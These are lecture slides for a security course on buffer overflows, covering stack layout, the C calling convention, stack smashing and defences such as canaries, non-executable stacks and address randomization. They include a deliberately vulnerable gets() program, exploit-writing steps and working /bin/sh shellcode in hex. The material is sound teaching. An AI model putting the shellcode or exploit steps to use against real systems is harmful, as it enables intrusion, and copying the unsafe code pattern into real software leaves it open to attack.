440 likes | 596 Views
Topics. What is a Buffer Overflow? The Most Common Implementation Flaw. Process Memory Layout. The Stack and C’s Calling Convention. Stack Overflows. Shellcode. Heap Overflows. Defences. What is a Buffer Overflow?. buffer : a limited, contiguously allocated set of memory.
E N D
Topics • What is a Buffer Overflow? • The Most Common Implementation Flaw. • Process Memory Layout. • The Stack and C’s Calling Convention. • Stack Overflows. • Shellcode. • Heap Overflows. • Defences. CSC 382: Buffer Overflows
What is a Buffer Overflow? • buffer: a limited, contiguously allocated set of memory. • static: char buffer[32] • dynamic: malloc(), new • What happens when you attempt to access an element beyond the end of the buffer? • Bounds checking prevents such accesses in most languages like Python and Java. • No bounds checking in C/C++ or assembly. CSC 382: Buffer Overflows
What’s the mistake in this program? int main() { int array[5] = {1, 2, 3, 4, 5}; printf("%d\n", array[5]); } CSC 382: Buffer Overflows
Program Output > gcc -o buffer buffer.c > ./buffer 7077876 CSC 382: Buffer Overflows
Writing Beyond the Buffer int main() { int array[5] = {1, 2, 3, 4, 5}; int i; for( i=0; i <= 255; ++i ) array[i] = 41; } CSC 382: Buffer Overflows
Program Output > gcc -o bufferw bufferw.c > ./bufferw Segmentation fault (core dumped) CSC 382: Buffer Overflows
What Happened? • Overwrote memory beyond buffer with 41. • Program crashed with Segmentation fault. • Directly or indirectly accessed an unmapped page. • Do overflows always produce a crash? • Most of the time, yes. • If we’re careful, we can restrict our accesses to valid memory locations. CSC 382: Buffer Overflows
Most Common Implementation Flaw Old Bug • 1988 Morris Worm (fingerd) • 2005 W32/Zotob Worm (W32 Plug&Play) Most Common Flaw • 50% of CERT advisories in 1999 • 86% of CERT advisories in 2003 CSC 382: Buffer Overflows
Why the same Mistake? • C/C++ inherently unsafe. • No bounds checking on arrays or pointer refs. • Unsafe library functions: strcpy(), sprintf(),gets(), scanf(), etc. • Java, Javascript, Perl, Python largely immune. • Not entirely! Interpreters are often written in C/C++. • CAN-2003-0010: Buffer overflow in MS Windows Javascript implementation. • Not checking trades security for performance. CSC 382: Buffer Overflows
Stack Overflows • Easy to exploit: • Security critical data: return address. • Most buffer overflows are stack-based. • Protective Tools • non-executable stack protection in OS. • Stackguarding compilers. • bounds-checking compilers. CSC 382: Buffer Overflows
What is a Stack? • LIFO data structure: push/pop • Stack grows downwards in memory. • SP points to top of stack (lowest address) • %esp register is SP on x86 architecture. • What’s on the stack? • Function parameters. • Local variables. • Return values. • Return address (security critical.) CSC 382: Buffer Overflows
Accessing the Stack Pushing an item onto the stack. • Copy data to stack. • Decrement SP by 4. Example: pushl $12 Popping data from the stack. • Copy data from stack. • Increment SP by 4. Example: popl %eax Retrieve data without pop: movl %esp, %eax CSC 382: Buffer Overflows
What is a Stack Frame? • Block of stack data for one procedure call. • Frame pointer (FP) points to frame: • Use offsets to find local variables. • SP continually moves with push/pops. • FP only moves on function call/return. • Intel CPUs use %ebp register for FP. CSC 382: Buffer Overflows
C Calling Convention • Push all params onto stack in reverse order. Parameter #N … Parameter #2 Parameter #1 • Issues a call instruction. • Pushes address of next instruction (the return address) onto stack. • Modifies IP (%eip) to point to start of function. CSC 382: Buffer Overflows
Stack before Function Executes Frame Pointer Stack Pointer CSC 382: Buffer Overflows
C Calling Convention • Function pushes FP (%ebp) onto stack. Save FP for previous function. pushl %ebp • Copies SP to FP. Allows function to access params as fixed indexes from base pointer. movl %esp, %ebp • Reserves stack space for local vars. subl $12, %esp CSC 382: Buffer Overflows
Stack at Function Start Frame Pointer Stack Pointer CSC 382: Buffer Overflows
C Calling Convention • After execution, stores return value in %eax. movl $1, %eax • Resets stack to pre-call state. Destroys current stack frame; restores caller’s frame. popl %ebp • Returns control back to where called from. Pops top word and sets %eip to that value. ret CSC 382: Buffer Overflows
Stack after Function Return Frame Pointer Stack Pointer CSC 382: Buffer Overflows
Smashing the Stack void printInput() { char buffer[32]; gets(buffer); printf("%s\n", buffer); } void main() { printInput(); return 0; } CSC 382: Buffer Overflows
Smashing the Stack addl $16, %esp leave ret main: pushl %ebp movl %esp, %ebp subl $8, %esp andl $-16, %esp movl $0, %eax addl $15, %eax addl $15, %eax shrl $4, %eax sall $4, %eax subl %eax, %esp call printInput leave ret .LC0: .string "%s\n" .text printInput: pushl %ebp movl %esp, %ebp subl $40, %esp subl $12, %esp leal -40(%ebp), %eax pushl %eax call gets addl $16, %esp subl $8, %esp leal -40(%ebp), %eax pushl %eax pushl $.LC0 call printf CSC 382: Buffer Overflows
Smashing the Stack • Run the program with normal input. > gcc –ggdb –o overflow overflow.c > ./overflow 01234567890123456789012345678901 01234567890123456789012345678901 • Run the program with long input. > ./overflow 0123456789012345678901234567890123456890 0123456789012345678901234567890123456890 Segmentation fault (core dumped) CSC 382: Buffer Overflows
Smashing the Stack > gdb overflow (gdb) r Starting program: /home/jwalden/work/bof/overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x080483c0 in printInput () at overflow.c:5 5 } (gdb) info registers eax 0x47 71 ecx 0x0 0 edx 0x47 71 ebx 0x6bfff4 7077876 esp 0xbfe97164 ebp 0x41414141 esi 0xbfe971f4 edi 0xbfe97180 eip 0x41414141 eflags 0x210292 2163346 CSC 382: Buffer Overflows
Smashing the Stack • Success! • We overwrote part of the stack. • Our overwritten return value was loaded into the instruction pointer (%eip). • Failure! • The program crashed. • EIP loaded with invalid address 0x41414141. • How to fix it? • Insert a valid address into the buffer. CSC 382: Buffer Overflows
Writing an Exploit • Construct shellcode to inject. • Find an exploitable buffer in your target application. • Discover location of stack pointer, so you have an idea of where your shellcode will be located. • Run program with your input that: • Injects shellcode into stack memory. • Overwrites return address with address of your shellcode. CSC 382: Buffer Overflows
Shellcode Shellcode in C. int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = 0x0; execve(name[0], name, 0x0); } Running the program. > gcc –ggdb –static –o shell shellcode.c > ./shell sh-3.00$ exit CSC 382: Buffer Overflows
Shellcode Assembly jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes CSC 382: Buffer Overflows
Testing the Shellcode char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } > gcc -o testsc2 testsc2.c > ./testsc2 sh-3.00$ exit CSC 382: Buffer Overflows
Improving the Odds • Determining the correct address of your shellcode is hard, even if you don’t have source. • What if you could have multiple target addresses? • Pad buffer with NOP instructions preceding the shellcode. • If function returns anywhere in that NOP pad, it will continue executing until it executes the shellcode. CSC 382: Buffer Overflows
Heap Overflows • More difficult to exploit than stack overflows. • 2120 Bugtraq hits on heap • 7540 Bugtraq hits on stack • Fewer heap protection tools. • heap segment r+x, • no equivalent to stackguard compilers. • Need to find security critical variable. • UID, username, filename • or combine with a buffer overflow. CSC 382: Buffer Overflows
Defending Yourself • Use language with bounds checking. • Use boundchecking/stackguarding compiler. • Do your own bounds checking. • Avoid unsafe functions • strcpy() • gets() • Use safe functions securely • strncpy() • strncat() CSC 382: Buffer Overflows
gets() CSC 382: Buffer Overflows
strcpy() CSC 382: Buffer Overflows
Safe String Libraries • C++ std::string library • Dynamically-sized strings • SafeStr library provides safestr_t objects • Dynamically-sized • Cast to (char *) for read-only purposes only • Microsoft’s strsafe.h • OpenBSD strlcat() and strlcpy() • Sizes include null bytes. • Resultant strings always null terminated. CSC 382: Buffer Overflows
C++ Dangers • Using C-style strings with cin char username[16]; cin >> username; • The [] operator does not perform bounds checking • Converting from C++ to C-style strings • string::data() output is not NULL terminated • string::c_str() ouput is NULL terminated CSC 382: Buffer Overflows
Buffer Overflow Defences • Operating System Defences • Non-executable stack. • Randomization of memory layout. • Compiler Defences • Canary values. CSC 382: Buffer Overflows
Non-executable Stack Memory protection prevents exploit code from being executed. • Some applications execute code on the stack/heap. • x86 arch doesn’t have exec bit in page tables. • Segment limits can divide memory into two parts: executable and non-executable. • Keep program code in low memory. • Keep data and stack in high memory. • Coarse-grained. • NX Technology • Exec bit for page tables. • Added in AMD64 and newer Intel P4 processors. • Only works in PAE 64-bit page table format. CSC 382: Buffer Overflows
Countering non-exec Stack The “return-into-libc” technique. • libc contains system() and exec() functions. • overwrite return address to execute system() to run /bin/sh • difficult or even impossible to do in some cases. CSC 382: Buffer Overflows
Memory Layout Randomization Randomize layout of memory space • Stack location. • Shared library locations. • Heap location. PIE: Position Independent Executable • Default format: binary compiled to work at an address selected when program was compiled. • Gcc can compile binaries to be freely relocatable throughout address space. • gcc flags: -fpie –pie • Program loaded at different address for each invocation. CSC 382: Buffer Overflows
Defence: Stackguard Compiler extension for gcc • code must be compiled w/ Stackguard Detects altered return address • before function returns • adds “canary” word to stack • must overwrite canary to change return addr • use random canary words for each function to avoid guessing attacks CSC 382: Buffer Overflows
Stackguard Stack Layout Frame Pointer Stack Pointer CSC 382: Buffer Overflows
Stackguard Effectiveness • Code dependencies • are dynamic libraries stackguarded? • Compatibility • Recompiled entire RedHat Linux system. • Small performance cost • canary insert and check overhead on each call • Protects against future stack attacks. • Similar tools: • gcc -fstack-protector flag • Visual Studio 2005 CSC 382: Buffer Overflows
Defending Against Buffer Overflows • Use a language with bounds checking. • Check your own bounds in C/C++. • Avoid unsafe functions in C/C++. • Use compiler/OS stack defence techniques. CSC 382: Buffer Overflows
References • Aleph Null, “Smashing the Stack for Fun and Profit,” Phrack 49, 1996. • Bartlett, Johnathan, Programming from the Ground Up, Bartlett Publishing, 2004. • Conover, Matt & w00w00 Security Team, “w00w00 on Heap Overflows,” http://www.w00w00.org/files/articles/heaptut.txt • Graff, Mark and van Wyk, Kenneth, Secure Coding: Principles & Practices, O’Reilly, 2003. • Horizon, “Bypassing Non-executable Stack Protection on Solaris,” http://packetstormsecurity.nl/groups/horizon/stack.txt • Hoglund, Greg and McGraw, Gary, Exploiting Software: How to Break Code, Addison-Wesley, 2004. • Howard, Michael and LeBlanc, David, Writing Secure Code, 2nd edition, Microsoft Press, 2003. • Michael Howard, David LeBlanc, and John Viega, 19 Deadly Sins of Software Security, McGraw-Hill Osborne, 2005. • Koziol, et. al, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, Wiley, 2004. • Viega, John, and McGraw, Gary, Building Secure Software, Addison-Wesley, 2002. • Wheeler, David, Secure Programming for UNIX and Linux HOWTO, http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/index.html, 2003. CSC 382: Buffer Overflows